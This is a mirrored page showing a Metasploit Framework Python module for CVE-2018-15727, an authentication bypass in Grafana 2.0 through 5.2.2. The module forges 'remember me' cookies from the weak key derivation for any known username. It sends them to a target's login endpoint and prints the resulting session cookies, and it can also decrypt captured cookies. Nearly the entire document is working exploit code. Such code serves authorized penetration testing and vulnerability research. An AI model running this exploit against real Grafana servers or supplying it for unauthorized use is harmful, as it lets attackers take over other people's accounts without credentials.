CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/grafana_auth_bypass.py
Views: 1904
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
4
# standard modules
5
import binascii
6
import hashlib
7
import logging
8
import os
9
import re
10
11
from metasploit import module
12
13
# extra modules
14
dependencies_requests_missing = False
15
try:
16
import requests
17
except ImportError:
18
dependencies_requests_missing = True
19
20
dependencies_cryptography_missing = False
21
try:
22
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
23
except ImportError:
24
dependencies_cryptography_missing = True
25
26
27
metadata = {
28
'name': 'Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth',
29
'description': '''
30
This module generates a remember me cookie for a valid username. Through unpropper seeding
31
while userdate are requested from LDAP or OAuth it's possible to craft a valid remember me cookie.
32
This cookie can be used for bypass authentication for everyone knowing a valid username.
33
''',
34
'authors': [
35
'Rene Riedling',
36
'Sebastian Solnica' # Original Discovered
37
],
38
'date': '2019-08-14', # set to date of creation
39
'license': 'MSF_LICENSE',
40
'references': [
41
{'type': 'cve', 'ref': '2018-15727'},
42
{'type': 'url', 'ref': 'https://grafana.com/blog/2018/08/29/grafana-5.2.3-and-4.6.4-released-with-important-security-fix/'}
43
],
44
'type': 'single_scanner',
45
'options': {
46
'VERSION': {'type': 'enum', 'description': 'Grafana version: "2-4" or "5"', 'required': True, 'default': '5', 'values': ['2-4', '5']},
47
'USERNAME': {'type': 'string', 'description': 'Valid username', 'required': False},
48
'RHOSTS': {'type': 'address', 'description': 'Address of target', 'required': True, 'default': '127.0.0.1'},
49
'RPORT': {'type': 'port', 'description': 'Port of target', 'required': True, 'default': 3000},
50
'COOKIE': {'type': 'string', 'description': 'Decrypt captured cookie', 'required': False},
51
'TARGETURI': {'type': 'string', 'description': 'Base URL of grafana instance', 'required': False, 'default': '/'},
52
'SSL': {'type': 'bool', 'description': 'set SSL/TLS based connection', 'required': True, 'default': False}
53
}
54
}
55
56
57
def encrypt_version5(username):
58
salt = b''
59
iterations = 1000
60
key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)
61
aesgcm = AESGCM(key)
62
nonce = os.urandom(12)
63
username = username.encode()
64
ct = aesgcm.encrypt(nonce, username, None)
65
cookie = str(binascii.hexlify(nonce), 'ascii') + \
66
str(binascii.hexlify(ct), 'ascii')
67
return cookie
68
69
70
def encrypt_version4(username):
71
salt = hashlib.md5(''.encode("utf-8")).hexdigest().encode()
72
iterations = 1000
73
key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)
74
aesgcm = AESGCM(key)
75
nonce = os.urandom(12)
76
username = username.encode()
77
ct = aesgcm.encrypt(nonce, username, None)
78
cookie = str(binascii.hexlify(nonce), 'ascii') + \
79
str(binascii.hexlify(ct), 'ascii')
80
return cookie
81
82
83
def decrypt_version5(cookie):
84
salt = b''
85
iterations = 1000
86
key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)
87
aesgcm = AESGCM(key)
88
nonce = binascii.unhexlify(cookie[:24])
89
ct = binascii.unhexlify(cookie[24:])
90
username = str(aesgcm.decrypt(nonce, ct, None), 'ascii')
91
return username
92
93
94
def decrypt_version4(cookie):
95
salt = hashlib.md5(''.encode("utf-8")).hexdigest().encode()
96
iterations = 1000
97
key = hashlib.pbkdf2_hmac('sha256', salt, salt, iterations, 16)
98
aesgcm = AESGCM(key)
99
nonce = binascii.unhexlify(cookie[:24])
100
ct = binascii.unhexlify(cookie[24:])
101
username = str(aesgcm.decrypt(nonce, ct, None), 'ascii')
102
return username
103
104
105
def run(args):
106
if dependencies_requests_missing:
107
logging.error('Module dependency (requests) is missing, cannot continue')
108
return
109
110
if dependencies_cryptography_missing:
111
logging.error('Module dependency (cryptography) is missing, cannot continue')
112
return
113
114
if args['VERSION'] == "5":
115
try:
116
username = args['USERNAME']
117
cookie = encrypt_version5(args['USERNAME'])
118
module.log("Encrypted remember cookie: "+cookie, "good")
119
except:
120
module.log(
121
"No username set, trying to decrypt it from cookie.", "warning")
122
try:
123
username = decrypt_version5(args['COOKIE'])
124
module.log("Decrypted username: "+username, "good")
125
cookie = args['COOKIE']
126
except:
127
module.log("Unable to set username", "error")
128
return
129
elif args['VERSION'] == "2-4":
130
try:
131
username = args['USERNAME']
132
cookie = encrypt_version4(args['USERNAME'])
133
module.log("Encrypted remember cookie: "+cookie, "good")
134
except:
135
module.log(
136
"No username set, trying to decrypt it from cookie.", "warning")
137
try:
138
username = decrypt_version4(args['COOKIE'])
139
module.log("Decrypted username: "+username, "good")
140
cookie = args['COOKIE']
141
except:
142
module.log("Unable to set username", "error")
143
return
144
else:
145
module.log("Version not supported.", "error")
146
147
try:
148
cookies = {'grafana_remember': cookie, 'grafana_user': username}
149
150
if args['SSL'] == "false":
151
if args['TARGETURI'].endswith('/'):
152
url = "http://" + args['RHOSTS'] + ":" + \
153
args['RPORT'] + args['TARGETURI'] + "login/"
154
else:
155
url = "http://" + args['RHOSTS'] + ":" + \
156
args['RPORT'] + args['TARGETURI'] + "/login/"
157
elif args['SSL'] == "true":
158
if args['TARGETURI'].endswith('/'):
159
url = "https://" + args['RHOSTS'] + ":" + \
160
args['RPORT'] + args['TARGETURI'] + "login/"
161
else:
162
url = "https://" + args['RHOSTS'] + ":" + \
163
args['RPORT'] + args['TARGETURI'] + "/login/"
164
module.log('Targeting URL: ' + url, 'debug')
165
r = requests.get(url=url, cookies=cookies, allow_redirects=False)
166
167
except:
168
module.log("Failed to sending request to host.", "error")
169
return
170
171
if r.status_code == 302:
172
try:
173
grafana_user = re.search(
174
r"grafana_user=.*?;", r.headers['Set-Cookie']).group(0)
175
grafana_remember = re.search(
176
r"grafana_remember=.*?;", r.headers['Set-Cookie']).group(0)
177
grafana_sess = re.search(
178
r"grafana_sess=.*?;", r.headers['Set-Cookie']).group(0)
179
180
module.log(
181
"Set following cookies to get access to the grafana instance.", "good")
182
module.log(grafana_user, "good")
183
module.log(grafana_remember, "good")
184
module.log(grafana_sess, "good")
185
except:
186
module.log("Failed to generate cookies out of request.", "error")
187
return
188
else:
189
module.log("Target is not vulnerable.", "warning")
190
return
191
192
193
if __name__ == '__main__':
194
module.run(metadata, run)
195
196